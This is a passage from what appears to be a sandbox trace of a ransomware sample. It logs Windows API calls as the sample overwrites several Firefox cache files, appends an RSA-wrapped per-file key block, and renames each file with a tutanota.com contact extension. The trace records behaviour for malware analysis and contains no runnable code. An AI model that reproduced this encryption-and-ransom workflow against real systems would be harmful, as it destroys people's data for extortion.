"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0285.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0285.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f824f0 | out: hHeap=0x570000) returned 1 [0285.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0285.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0285.544] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.544] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", dwFileAttributes=0x80) returned 1 [0285.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f824f0 [0285.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f824f0 | out: hHeap=0x570000) returned 1 [0285.545] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.545] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8644) returned 1 [0285.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x21c4) returned 0x3437008 [0285.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x21c4) returned 0x2f39028 [0285.545] ReadFile (in: hFile=0x1b84, lpBuffer=0x3437008, nNumberOfBytesToRead=0x21c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesRead=0x2e3f9b4*=0x21c4, lpOverlapped=0x0) returned 1 [0285.546] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.546] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x21c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x21c4, lpOverlapped=0x0) returned 1 [0285.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0285.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0285.547] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x21c4 [0285.547] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.547] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.547] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.547] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9eKGWsNxvqdJ8zm7lLvn03Wy3dVlBGHJblcQsoxSKUVYmMt8Trrxna26aRtAutFC\nfYafyXTbuEvvOLSSBQ/pZ/cq9ZTWSV46DbUgQ7+WSGhJQc97bkHbAj4FrNGD9wJ/\nqF8RiyxwUWvFyZZbw2BSaauiWtS1prkoP52uqbU/udjwfq6qtMXI2DSaRflp4xeV\nzBFoL6XwVHK0ARnIDLwd1lwdMKpvO01mn3iqtRzVAUgdR3pcCUZ6m/6gPDtla1l0\neRKv1kvnfjSMIbSM2LAO8xDKq/5HnmxIf9d0EMQW81TZYRqVYw5gKNT+nzrBZmpX\nXWYdoYX4VUTqrIC/HcG6EQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.547] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.547] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.547] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.547] CloseHandle (hObject=0x1b84) returned 1 [0285.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.548] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0285.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0285.549] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83258 | out: hHeap=0x570000) returned 1 [0285.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0285.549] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0285.549] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.549] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", dwFileAttributes=0x80) returned 1 [0285.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f824f0 [0285.552] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f824f0 | out: hHeap=0x570000) returned 1 [0285.552] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.553] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5278) returned 1 [0285.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x149e) returned 0x2f39028 [0285.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x149e) returned 0x2f3a4d0 [0285.553] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x149e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x149e, lpOverlapped=0x0) returned 1 [0285.554] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.554] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a4d0*, nNumberOfBytesToWrite=0x149e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a4d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x149e, lpOverlapped=0x0) returned 1 [0285.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0285.554] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3a4d0 | out: hHeap=0x570000) returned 1 [0285.554] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x149e [0285.554] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.554] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.554] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.555] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.555] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.555] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zPngJwBlbESAwKbgae5oeY0Ub2jvd3IX8nZl25/TAdnKlV81xQhIHLyzKFN30bCq\n2SA593WJrZQQ3LeRJ2M0wY26H3msG8GHuvx5YZ/wKkOLhuEbxvLNj7iyz8b6Znxh\nU4O88gZd1O7PANTgs1uksyjKgYImR4cKc7N7lt5Gxxhp9der5Qanw72t4iiuQboC\nBm9HXp/hffuJ2kXfd6zP4/OlWdVLvVw+tevmZp2mbmI9gTC9H1WIbsRjlnuZ1UUU\nmO6+pP0PKQIEvfogEs5mWwshv3YyNjBGAobKPk8emhhBVivoD5kfpvqZs3VxK8ff\n8OR3h0NXfod7Y0XePJjMSw==\n", pcchString=0x2e3f9a8) returned 1 [0285.555] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.555] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.555] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.555] CloseHandle (hObject=0x1b84) returned 1 [0285.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.555] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.655] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.655] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0285.656] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82f40 | out: hHeap=0x570000) returned 1 [0285.656] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f823e8 | out: hHeap=0x570000) returned 1 [0285.656] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f824f0 [0285.656] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0285.656] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.656] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", dwFileAttributes=0x80) returned 1 [0285.656] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f823e8 [0285.656] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.656] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f823e8 | out: hHeap=0x570000) returned 1 [0285.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.657] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2301) returned 1 [0285.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8fd) returned 0x3446048 [0285.657] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8fd) returned 0x2f39028 [0285.657] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0285.711] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.711] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8fd, lpOverlapped=0x0) returned 1 [0285.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0285.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0285.711] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8fd [0285.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.711] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.711] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b1muaiISWHDtxzmS7fUJpkNjMlTVoqcG9OYf7iLbD/++IDichiiMGqKJFIBB13qB\np1DDBJhE4ldSZb5dtZqHFRE4fiSE4Fn5JgM6RggRGrBPQDqHZs/snDVZcRfKqv8o\nwJBy8f5bpBKzowUJ4YS4XnwjH9I21ExiXorLxKiCjber++C+kDX/ghA2oIdxLKdQ\ndK/OvTw/rRARGScCBKEk8rdkcpWiPe4Pk+z84kBamQgx8iuSrgMpJvrq+GbJ8zLa\nlEnR527nLE7g9Mwv7Z4ioiA3Q8Gk7VeC62aKZxqWuSyv48Fhff+t/2kvdS0y0dII\ndlWLyjMUpt8nSWendJJyLg==\n", pcchString=0x2e3f9a8) returned 1 [0285.712] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.712] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.712] CloseHandle (hObject=0x1b84) returned 1 [0285.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.712] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0285.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f824f0 | out: hHeap=0x570000) returned 1 [0285.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f822e0 | out: hHeap=0x570000) returned 1 [0285.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f822e0 [0285.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0285.715] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", dwFileAttributes=0x80) returned 1 [0285.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83258 [0285.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83258 | out: hHeap=0x570000) returned 1 [0285.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.716] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1320) returned 1 [0285.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x528) returned 0x66e948 [0285.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x528) returned 0x2f3e850 [0285.716] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0285.765] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.765] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0285.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0285.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0285.765] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0285.765] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.765] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.765] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.765] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.765] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.766] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Xx0B0ig3jh/eU8tqmWMvYCi2BAwtkvPJLRf3ivMm6KtvMhjuFa7l758ba16HqlRS\nPlrGU+nvd4t8jXUSwXhw2b5G/Dd3ml5Io1AL91MpZ9W1r2i2ZGTS2tvV0mLIBIYe\nHwWLoyDJohegz5waJd7Tt7K5Jia31ZDmnx/gDcpe5yYbkAKQi/QCSOliIK9Ow/rC\n4aHhks/BWyM6iFTp+f0aqyE4+x4ipsiAZYlZW7uhRdDKml3FhmrxO1hvjR6gUyiJ\n3V+VC472XYyXHpI+BhhUYqoAvIAERwdi5Eem7RP0Hz0QkzO1zxhwRV7EkAwRe35J\n7Pd36onGVsqtyBvgbnf+QA==\n", pcchString=0x2e3f9a8) returned 1 [0285.766] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, 